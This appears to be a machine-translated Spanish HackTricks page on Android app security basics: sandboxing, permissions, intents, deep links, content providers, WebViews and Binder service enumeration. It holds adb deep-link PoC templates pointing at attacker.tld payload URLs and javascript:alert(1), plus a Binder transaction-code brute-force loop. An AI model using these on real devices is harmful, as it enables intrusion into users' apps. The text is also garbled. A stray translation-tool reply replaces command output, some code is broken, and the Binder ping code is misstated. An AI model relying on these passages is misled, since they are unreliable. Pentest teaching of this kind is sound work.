Conceptos básicos de aplicaciones Android
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Modelo de seguridad de Android
Hay dos capas:
- El OS, que mantiene las aplicaciones instaladas aisladas entre sí.
- La aplicación en sí, que permite a los desarrolladores exponer ciertas funcionalidades y configurar las capacidades de la aplicación.
Separación de UID
A cada aplicación se le asigna un UID (User ID) específico. Esto se realiza durante la instalación de la app, por lo que la app solo puede interactuar con archivos pertenecientes a su UID o con archivos compartidos. Por lo tanto, solo la propia app, ciertos componentes del OS y el usuario root pueden acceder a los datos de la app.
Compartición de UID
Dos aplicaciones pueden configurarse para usar el mismo UID. Esto puede ser útil para compartir información, pero si una de ellas es comprometida, los datos de ambas aplicaciones quedarán comprometidos. Por eso este comportamiento está desaconsejado.
Para compartir el mismo UID, las aplicaciones deben definir el mismo valor android:sharedUserId en sus manifests.
Aislamiento (Sandboxing)
El Android Application Sandbox permite ejecutar cada aplicación como un proceso separado bajo un UID separado. Cada proceso tiene su propia máquina virtual, por lo que el código de una app se ejecuta aislado del de otras apps.
Desde Android 5.0(L) se aplica SELinux. Básicamente, SELinux denegó todas las interacciones entre procesos y luego creó políticas para permitir solo las interacciones esperadas entre ellos.
Permisos
Cuando instalas una app y solicita permisos, la app está pidiendo los permisos configurados en los elementos uses-permission en el AndroidManifest.xml. El elemento uses-permission indica el nombre del permiso solicitado en el atributo name. También tiene el atributo maxSdkVersion, que impide solicitar permisos en versiones superiores a la especificada.
Ten en cuenta que las aplicaciones Android no necesitan pedir todos los permisos al principio; también pueden solicitar permisos de forma dinámica, pero todos los permisos deben estar declarados en el manifest.
Cuando una app expone funcionalidad puede limitar el acceso solo a apps que tengan un permiso especificado.
Un elemento permission tiene tres atributos:
- El name del permiso
- El atributo permission-group, que permite agrupar permisos relacionados.
- El protection-level que indica cómo se conceden los permisos. Hay cuatro tipos:
- Normal: Usado cuando no existen amenazas conocidas para la app. El usuario no está obligado a aprobarlo.
- Dangerous: Indica que el permiso concede a la aplicación solicitante un acceso elevado. Se solicita la aprobación del usuario.
- Signature: Solo apps firmadas con el mismo certificado que la que exporta el componente pueden recibir el permiso. Este es el tipo de protección más fuerte.
- SignatureOrSystem: Solo apps firmadas con el mismo certificado que la que exporta el componente o apps que se ejecutan con acceso a nivel sistema pueden recibir permisos.
Aplicaciones preinstaladas
Estas apps generalmente se encuentran en los directorios /system/app o /system/priv-app y algunas de ellas están optimizadas (puede que ni siquiera encuentres el archivo classes.dex). Estas aplicaciones merecen ser revisadas porque a veces están ejecutándose con demasiados permisos (como root).
- Las que vienen con la AOSP (Android OpenSource Project) ROM
- Añadidas por el fabricante del dispositivo
- Añadidas por el operador de telefonía (si se compró al operador)
Rooting
Para obtener acceso root en un dispositivo Android físico generalmente necesitas exploit 1 o 2 vulnerabilidades que suelen ser específicas del dispositivo y la versión.
Una vez que el exploit ha funcionado, normalmente se copia el binario su de Linux en una ubicación especificada en la variable PATH del usuario, como /system/xbin.
Una vez que el binario su está configurado, otra app Android se usa para interactuar con el binario su y procesar solicitudes de acceso root, como Superuser y SuperSU (disponibles en Google Play).
Caution
Ten en cuenta que el proceso de rooting es muy peligroso y puede dañar gravemente el dispositivo
ROMs
Es posible reemplazar el OS instalando un firmware personalizado. Haciendo esto es posible extender la utilidad de un dispositivo antiguo, eludir restricciones de software o acceder al código más reciente de Android.
OmniROM y LineageOS son dos de los firmwares más populares.
Ten en cuenta que no siempre es necesario rootear el dispositivo para instalar un firmware personalizado. Algunos fabricantes permiten desbloquear sus bootloaders de forma documentada y segura.
Implicaciones
Una vez que un dispositivo está rooteado, cualquier app podría solicitar acceso como root. Si una aplicación maliciosa lo consigue, tendrá acceso a casi todo y podrá dañar el teléfono.
Android Application Fundamentals
- El formato de las aplicaciones Android se conoce como APK file format. Es esencialmente un archivo ZIP (renombrando la extensión del archivo a .zip, se pueden extraer y ver los contenidos).
- Contenido del APK (no exhaustivo)
- AndroidManifest.xml
- resources.arsc/strings.xml
- resources.arsc: contiene recursos precompilados, como XML binario.
- res/xml/files_paths.xml
- META-INF/
- ¡Aquí se encuentra el Certificado!
- classes.dex
- Contiene bytecode Dalvik, que representa el código Java (o Kotlin) compilado que la aplicación ejecuta por defecto.
- lib/
- Aloja las librerías nativas, segregadas por arquitectura de CPU en subdirectorios.
armeabi: código para procesadores basados en ARMarmeabi-v7a: código para procesadores ARMv7 y superioresx86: código para procesadores X86mips: código solo para procesadores MIPS- assets/
- Almacena archivos diversos necesarios por la app, potencialmente incluyendo librerías nativas adicionales o archivos DEX, a veces usados por autores de malware para ocultar código adicional.
- res/
- Contiene recursos que no están compilados en resources.arsc
Dalvik & Smali
En el desarrollo Android se usa Java o Kotlin para crear apps. En lugar de usar la JVM como en las aplicaciones de escritorio, Android compila este código a Dalvik Executable (DEX) bytecode. Antes, la máquina virtual Dalvik manejaba este bytecode, pero ahora, el Android Runtime (ART) lo hace en las versiones más nuevas de Android.
Para ingeniería inversa, Smali se vuelve crucial. Es la versión legible del bytecode DEX, actuando como lenguaje ensamblador al traducir el código fuente a instrucciones de bytecode. Smali y baksmali se refieren a las herramientas de ensamblado y desensamblado en este contexto.
Intents
Los Intents son el medio principal por el que las apps Android se comunican entre sus componentes o con otras apps. Estos objetos de mensaje también pueden transportar datos entre apps o componentes, similar a cómo se usan las solicitudes GET/POST en las comunicaciones HTTP.
Así que un Intent es básicamente un mensaje que se pasa entre componentes. Los Intents pueden dirigirse a componentes o apps específicas, o pueden enviarse sin un destinatario específico.
De forma simple, los Intents pueden usarse para:
- Iniciar una Activity, normalmente abriendo una interfaz de usuario para una app
- Como broadcasts para informar al sistema y a las apps de cambios
- Iniciar, detener y comunicarse con un servicio en segundo plano
- Acceder a datos vía ContentProviders
- Como callbacks para manejar eventos
Si son vulnerables, los Intents pueden usarse para realizar una variedad de ataques.
Intent-Filter
Los Intent Filters definen cómo una activity, service o Broadcast Receiver puede interactuar con diferentes tipos de Intents. Esencialmente, describen las capacidades de estos componentes, como las acciones que pueden realizar o los tipos de broadcasts que pueden procesar. El lugar principal para declarar estos filtros es dentro del AndroidManifest.xml, aunque para Broadcast Receivers también es posible programarlos.
Los Intent Filters están compuestos por categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite a los componentes manejar Intents específicos que coincidan con los criterios declarados.
Un aspecto crítico de los componentes de Android (activities/services/content providers/broadcast receivers) es su visibilidad o estado público. Un componente se considera público y puede interactuar con otras apps si está exported con valor true o si se declara un Intent Filter para él en el manifest. Sin embargo, existe una forma para que los desarrolladores mantengan explícitamente estos componentes privados, asegurando que no interactúen con otras apps de forma no intencionada. Esto se logra estableciendo el atributo exported a false en sus definiciones del manifest.
Además, los desarrolladores tienen la opción de asegurar el acceso a estos componentes requiriendo permisos específicos. El atributo permission puede establecerse para exigir que solo las apps con el permiso designado puedan acceder al componente, añadiendo una capa extra de seguridad y control sobre quién puede interactuar con él.
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
Intents implícitos
Los Intents se crean programáticamente usando un constructor de Intent:
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
La Acción del intent declarado previamente es ACTION_SEND y el Extra es un mailto Uri (el Extra es la información adicional que el intent está esperando).
Este intent debe declararse dentro del manifest como en el siguiente ejemplo:
<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Un intent-filter necesita coincidir con la action, data y category para recibir un mensaje.
El proceso “Intent resolution” determina qué app debe recibir cada mensaje. Este proceso considera el priority attribute, que puede establecerse en la intent-filter declaration, y the one with the higher priority will be selected. Esta priority puede configurarse entre -1000 y 1000 y las aplicaciones pueden usar el valor SYSTEM_HIGH_PRIORITY. Si surge un conflict, aparece una “choser” Window para que el user can decide.
Explicit Intents
An explicit intent especifica el nombre de la clase a la que apunta:
Intent downloadIntent = new (this, DownloadService.class):
En otras aplicaciones, para acceder al intent declarado anteriormente puedes usar:
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
Intents pendientes
Estos permiten que otras aplicaciones realicen acciones en nombre de tu aplicación, usando la identidad y permisos de tu app. Al construir un Pending Intent debe especificarse un intent y la acción a realizar. Si el intent declarado no es explícito (no declara qué intent puede llamarlo) una aplicación maliciosa podría realizar la acción declarada en nombre de la app víctima. Además, si no se especifica una acción, la app maliciosa podrá hacer cualquier acción en nombre de la víctima.
Broadcast Intents
A diferencia de los intents anteriores, que solo los recibe una app, los broadcast intents pueden ser recibidos por múltiples apps. Sin embargo, desde la API versión 14, es posible especificar la app que debe recibir el mensaje usando Intent.set Package.
Alternativamente también es posible especificar un permission al enviar el broadcast. La app receptora necesitará tener ese permission.
Hay dos tipos de Broadcasts: Normal (asincrónico) y Ordered (sincrónico). El orden se basa en la prioridad configurada dentro del elemento receiver. Cada app puede procesar, reenviar o descartar el Broadcast.
Es posible enviar un broadcast usando la función sendBroadcast(intent, receiverPermission) de la clase Context.
También puedes usar la función sendBroadcast del LocalBroadCastManager que asegura que el mensaje nunca salga de la app. Usando esto ni siquiera necesitarás exportar un componente receiver.
Sticky Broadcasts
Este tipo de Broadcasts pueden ser accedidos mucho después de ser enviados.
Fueron desaprobados en API level 21 y se recomienda no usarlos.
Permiten a cualquier aplicación olfatear los datos, pero también modificarlos.
Si encuentras funciones que contienen la palabra “sticky” como sendStickyBroadcast o sendStickyBroadcastAsUser, revisa el impacto e intenta eliminarlas.
Deep links / URL schemes
En aplicaciones Android, los deep links se usan para iniciar una acción (Intent) directamente mediante una URL. Esto se hace declarando un URL scheme específico dentro de una activity. Cuando un dispositivo Android intenta acceder a una URL con este scheme, se lanza la activity especificada dentro de la aplicación.
El scheme debe ser declarado en el archivo AndroidManifest.xml:
[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]
El esquema del ejemplo anterior es examplescheme:// (nota también la category BROWSABLE)
Luego, en el campo data, puedes especificar el host y path:
<data android:scheme="examplescheme"
android:host="example"
/>
Para acceder a él desde la web, es posible establecer un enlace como:
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
Para encontrar el code that will be executed in the App, ve a la activity llamada por el deeplink y busca la función onNewIntent.
Aprende cómo invocar deep links sin usar páginas HTML: Aprende cómo invocar deep links sin usar páginas HTML.
Pruebas de seguridad de Deep links y adb PoCs
- Entry point discovery: Activities exportadas que declaran
<action android:name="android.intent.action.VIEW" />+<category android:name="android.intent.category.BROWSABLE" />son accesibles remotamente vía URIs construidas (custom schemes ohttp/httpsApp Links). Prioriza paths que contengan las palabras clave login/reset/payment/wallet/admin. - Validation bypass heuristics: controles de host débiles como
endsWith(),contains(), regex permisivos, o allowlists de subcadenas suelen ser eludibles con subdominios controlados por el atacante, trucos de prefijo/sufijo y URL/UTF‑8 double-encoding. - WebView sinks: si el handler reenvía la URI entrante o los query params a
WebView.loadUrl(...), puedes forzar que la app renderice contenido arbitrario del atacante. Si la validación del scheme es débil, prueba payloadsjavascript:así como URLs externashttps://. - Plantillas de adb PoC (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"
# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
- Consejos operativos: captura múltiples variantes de payload (URL externa vs
javascript:) y repítelas rápidamente contra un dispositivo/emulador para distinguir problemas reales (open-redirect/auth-bypass/WebView URL injection) del ruido del análisis estático. - Automatización: Deep-C automatiza la búsqueda de deeplinks decompilando el APK (apktool + dex2jar + jadx), enumerando exported + browsable activities, correlacionando validación débil y flujos
WebView.loadUrl, y emitiendo adb PoCs listos para ejecutar (opcionalmente auto-ejecutados con--exec).
AIDL - Android Interface Definition Language
El Android Interface Definition Language (AIDL) está diseñado para facilitar la comunicación entre cliente y servicio en aplicaciones Android mediante la interprocess communication (IPC). Dado que no está permitido acceder directamente a la memoria de otro proceso en Android, AIDL simplifica el proceso serializando objetos a un formato entendido por el sistema operativo, facilitando así la comunicación entre distintos procesos.
Key Concepts
-
Bound Services: Estos services usan AIDL para IPC, permitiendo que activities o components se vinculen a un service, realicen requests y reciban responses. El método
onBinden la clase del service es crítico para iniciar la interacción, marcándolo como un área vital para revisión de seguridad en busca de vulnerabilidades. -
Messenger: Operando como un bound service, Messenger facilita IPC con énfasis en procesar datos a través del método
onBind. Es esencial inspeccionar este método detenidamente por manejo inseguro de datos o ejecución de funciones sensibles. -
Binder: Aunque el uso directo de la clase Binder es menos común debido a la abstracción de AIDL, es útil entender que Binder actúa como un driver a nivel kernel que facilita la transferencia de datos entre los espacios de memoria de distintos procesos. Para más información, hay un recurso disponible en https://www.youtube.com/watch?v=O-UHvFjxwZ8.
Components
Estos incluyen: Activities, Services, Broadcast Receivers and Providers.
Launcher Activity y otras activities
En aplicaciones Android, las activities son como pantallas, mostrando distintas partes de la interfaz de usuario de la app. Una app puede tener muchas activities, cada una presentando una pantalla única al usuario.
La launcher activity es la puerta principal a una app, lanzada cuando tocas el icono de la app. Se define en el archivo manifest de la app con los intents MAIN y LAUNCHER específicos:
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
No todas las apps necesitan una launcher activity, especialmente aquellas sin interfaz de usuario, como servicios en segundo plano.
Las Activities pueden ponerse disponibles a otras apps o procesos marcándolas como “exported” en el manifest. Esta configuración permite a otras apps iniciar esta activity:
<service android:name=".ExampleExportedService" android:exported="true"/>
Sin embargo, acceder a una activity desde otra app no siempre es un riesgo de seguridad. La preocupación surge si se comparte información sensible de forma inadecuada, lo que podría llevar a leaks de información.
El ciclo de vida de una activity comienza con el método onCreate, configurando la UI y preparando la activity para la interacción con el usuario.
Subclase de Application
En el desarrollo Android, una app tiene la opción de crear una subclase de la Application clase, aunque no es obligatorio. Cuando se define dicha subclase, se convierte en la primera clase que se instancia dentro de la app. El método attachBaseContext, si se implementa en esta subclase, se ejecuta antes que el método onCreate. Esta configuración permite la inicialización temprana antes de que el resto de la aplicación se inicie.
public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}
@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}
Servicios
Servicios son operativos en segundo plano capaces de ejecutar tareas sin una interfaz de usuario. Estas tareas pueden seguir ejecutándose incluso cuando los usuarios cambian a otras aplicaciones, por lo que los servicios son cruciales para operaciones de larga duración.
Los servicios son versátiles; pueden iniciarse de varias maneras, siendo los Intents el método principal para lanzarlos como punto de entrada de una aplicación. Una vez que un servicio se inicia usando el método startService, su método onStart entra en acción y continúa ejecutándose hasta que se llama explícitamente al método stopService. Alternativamente, si la función de un servicio depende de una conexión activa con un cliente, se usa el método bindService para enlazar el cliente con el servicio, activando el método onBind para el intercambio de datos.
Una aplicación interesante de los servicios incluye la reproducción de música en segundo plano o la obtención de datos de red sin entorpecer la interacción del usuario con la app. Además, los servicios pueden hacerse accesibles a otros procesos en el mismo dispositivo mediante la exportación. Esto no es el comportamiento por defecto y requiere una configuración explícita en el archivo Android Manifest:
<service android:name=".ExampleExportedService" android:exported="true"/>
Receptores de Broadcast
Broadcast receivers actúan como oyentes en un sistema de mensajería, permitiendo que múltiples aplicaciones respondan a los mismos mensajes del sistema. Una app puede registrar un receiver de dos maneras principales: a través del Manifest de la app o dinámicamente dentro del código de la app mediante la API registerReceiver. En el Manifest, los broadcasts se filtran con permisos, mientras que los receivers registrados dinámicamente también pueden especificar permisos al registrarse.
Intent filters son cruciales en ambos métodos de registro, determinando qué broadcasts activan el receiver. Una vez que se envía un broadcast coincidente, se invoca el método onReceive del receiver, lo que permite que la app reaccione en consecuencia, por ejemplo ajustando su comportamiento ante una alerta de batería baja.
Los broadcasts pueden ser asincrónicos, llegando a todos los receivers sin orden, o sincrónicos, donde los receivers reciben el broadcast según prioridades establecidas. Sin embargo, es importante notar el posible riesgo de seguridad, ya que cualquier app puede priorizarse a sí misma para interceptar un broadcast.
Para entender la funcionalidad de un receiver, busca el método onReceive dentro de su clase. El código de este método puede manipular el Intent recibido, lo que resalta la necesidad de validación de datos por parte de los receivers, especialmente en Ordered Broadcasts, que pueden modificar o descartar el Intent.
Proveedor de contenido
Content Providers son esenciales para compartir datos estructurados entre apps, subrayando la importancia de implementar permisos para garantizar la seguridad de los datos. Permiten a las apps acceder a datos de diversas fuentes, incluyendo bases de datos, sistemas de archivos o la web. Permisos específicos, como readPermission y writePermission, son cruciales para controlar el acceso. Además, se puede conceder acceso temporal mediante la configuración grantUriPermission en el manifest de la app, aprovechando atributos como path, pathPrefix y pathPattern para un control de acceso detallado.
La validación de entrada es primordial para prevenir vulnerabilidades, como SQL injection. Los Content Providers soportan operaciones básicas: insert(), update(), delete() y query(), facilitando la manipulación y el intercambio de datos entre aplicaciones.
Semántica de permisos y riesgos (Content Providers)
- Si un provider está exported, debes declarar explícitamente tanto
readPermissioncomowritePermission. CuandowritePermissionse omite, el valor por defecto es null, lo que significa que cualquier app puede intentarinsert/update/deletesi esos métodos están implementados por el provider. - Nunca concatene projection, selection, selectionArgs o sortOrder no confiables en SQL crudo. Use listas blancas y enlace de parámetros (por ejemplo, SQLiteQueryBuilder con un projection map) y plantillas WHERE fijas.
- Prefiera android:exported=“false” a menos que el provider deba ser público. Para compartir selectivamente, use
grantUriPermissionscon path/pathPrefix/pathPattern.
FileProvider, un Content Provider especializado, se centra en compartir archivos de forma segura. Se define en el manifest de la app con atributos específicos para controlar el acceso a carpetas, indicados por android:exported y android:resource apuntando a configuraciones de carpetas. Se recomienda precaución al compartir directorios para evitar exponer datos sensibles de forma inadvertida.
Ejemplo de declaración en el manifest para FileProvider:
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>
Y un ejemplo de cómo especificar carpetas compartidas en filepaths.xml:
<paths>
<files-path path="images/" name="myimages" />
</paths>
For further information check:
WebViews
WebViews son como mini navegadores web dentro de apps Android, cargando contenido ya sea desde la web o desde archivos locales. Enfrentan riesgos similares a los navegadores normales, pero existen formas de reducir estos riesgos mediante ajustes específicos.
Android ofrece dos tipos principales de WebView:
- WebViewClient es ideal para HTML básico pero no soporta la función JavaScript alert, lo que afecta cómo se pueden probar ataques XSS.
- WebChromeClient se comporta más como la experiencia completa del navegador Chrome.
Un punto clave es que los navegadores WebView no comparten cookies con el navegador principal del dispositivo.
Para cargar contenido, están disponibles métodos como loadUrl, loadData y loadDataWithBaseURL. Es crucial asegurarse de que estas URLs o archivos sean seguros de usar. Los ajustes de seguridad se pueden gestionar mediante la clase WebSettings. Por ejemplo, desactivar JavaScript con setJavaScriptEnabled(false) puede prevenir ataques XSS.
El “Bridge” de JavaScript permite que objetos Java interactúen con JavaScript; requiere que los métodos estén marcados con @JavascriptInterface para seguridad a partir de Android 4.2.
Permitir acceso a contenido (setAllowContentAccess(true)) permite que los WebViews accedan a los Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido se verifiquen como seguras.
Para controlar el acceso a archivos:
- Deshabilitar el acceso a archivos (
setAllowFileAccess(false)) limita el acceso al sistema de archivos, con excepciones para ciertos assets, asegurando que solo se usen para contenido no sensible.
Otros componentes de la aplicación y Mobile Device Management
Firma digital de aplicaciones
- La firma digital es obligatoria para las apps Android, asegurando que estén autenticadas antes de la instalación. Este proceso utiliza un certificado para la identificación de la app y debe ser verificado por el gestor de paquetes del dispositivo durante la instalación. Las apps pueden estar firmadas por el propio desarrollador (self-signed) o certificadas por una CA externa, protegiendo contra accesos no autorizados y asegurando que la app no haya sido alterada durante su entrega al dispositivo.
Verificación de apps para mayor seguridad
- A partir de Android 4.2, una función llamada Verify Apps permite que las apps sean comprobadas por seguridad antes de la instalación. Este proceso de verificación puede advertir a los usuarios sobre apps potencialmente dañinas, o incluso impedir la instalación de las particularmente maliciosas, mejorando la seguridad del usuario.
Gestión de dispositivos móviles (MDM)
- Las soluciones MDM proporcionan supervisión y seguridad para dispositivos móviles mediante la Device Administration API. Requieren la instalación de una app Android para gestionar y asegurar los dispositivos móviles de forma efectiva. Las funciones clave incluyen hacer cumplir políticas de contraseña, exigir el cifrado del almacenamiento y permitir el borrado remoto de datos, garantizando control y seguridad integrales sobre los dispositivos móviles.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);
if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}
Enumeración y explotación de servicios AIDL / Binder
Android Binder IPC expone muchos servicios del sistema y proporcionados por el vendor. Esos servicios se convierten en una attack surface cuando se exportan sin una adecuada permission check (la capa AIDL en sí no realiza ningún access-control).
1. Descubrir servicios en ejecución
# from an adb shell (USB or wireless)
service list # simple one-liner
am list services # identical output, ActivityManager wrapper
No recibí el contenido a traducir. Por favor proporciona el texto (por ejemplo el contenido de src/mobile-pentesting/android-app-pentesting/android-applications-basics.md). ¿Quieres que la traducción se entregue como una lista numerada? Confírmalo.
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
- El índice (primera columna) se asigna en tiempo de ejecución – no confíes en él entre reinicios.
- El nombre Binder (p. ej.
mtkconnmetrics) es lo que se pasará aservice call. - El valor dentro de los corchetes es la interfaz AIDL totalmente calificada de la que se generó el stub.
2. Obtener el descriptor de la interfaz (PING)
Cada stub de Binder implementa automáticamente el código de transacción 0x5f4e5446 (1598968902 decimal, ASCII “_NTF”).
# "ping" the service
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
Una respuesta válida devuelve el nombre de la interfaz codificado como una cadena UTF-16 dentro de un Parcel.
3. Invocar una transacción
Sintaxis: service call <name> <code> [type value ...]
Especificadores de argumento comunes:
i32 <int>– valor con signo de 32 bitsi64 <long>– valor con signo de 64 bitss16 <string>– cadena UTF-16 (Android 13+ usautf16)
Ejemplo – iniciar el monitoreo de red con uid 1 en un dispositivo MediaTek:
service call mtkconnmetrics 8 i32 1
4. Brute-forcing métodos desconocidos
Cuando los archivos de cabecera no están disponibles, puedes iterar el código hasta que el error cambie de:
Result: Parcel(00000000 00000000) # "Not a data message"
a una respuesta normal de Parcel o a una SecurityException.
for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done
Si el servicio se compiló con proguard el mapeo debe deducirse – ver el siguiente paso.
5. Mapeo de códigos ↔ métodos vía onTransact()
Descompila el jar/odex que implementa la interfaz (para los stubs de AOSP revisa /system/framework; los OEMs suelen usar /system_ext o /vendor).
Busca Stub.onTransact() – contiene un enorme switch(transactionCode):
case TRANSACTION_updateCtaAppStatus: // 5
data.enforceInterface(DESCRIPTOR);
int appId = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;
Ahora el prototipo y los tipos de parámetros están completamente claros.
6. Detectar comprobaciones de permisos faltantes
La implementación (a menudo una clase interna Impl) es responsable de la autorización:
private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}
La ausencia de dicha lógica o de una whitelist de UIDs privilegiados (p. ej. uid == 1000 /*system*/) es un indicador de vulnerabilidad.
Estudio de caso – MediaTek startMonitorProcessWithUid() (transacción 8) ejecuta completamente un mensaje Netlink sin ningún control de permisos, permitiendo que una app no privilegiada interactúe con el módulo Netfilter del kernel y haga spam en el registro del sistema.
7. Automatización de la evaluación
Herramientas/scripts que aceleran el reconocimiento de Binder:
- binderfs – expone
/dev/binderfscon nodos por servicio binder-scanner.py– recorre la tabla de Binder e imprime las ACLs- Atajo de Frida:
Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))
Referencias
- Android Services 101 – Pentest Partners
- Android Developer Docs – AIDL
- Android Developer Docs – IBinder
- Understanding Binder, Talk @ Google
- CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)
- Android docs: Content providers
- Android manifest provider: readPermission
- Android manifest provider: writePermission
- Android ContentResolver.update()
- Deep-C – Android deep link exploitation framework
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


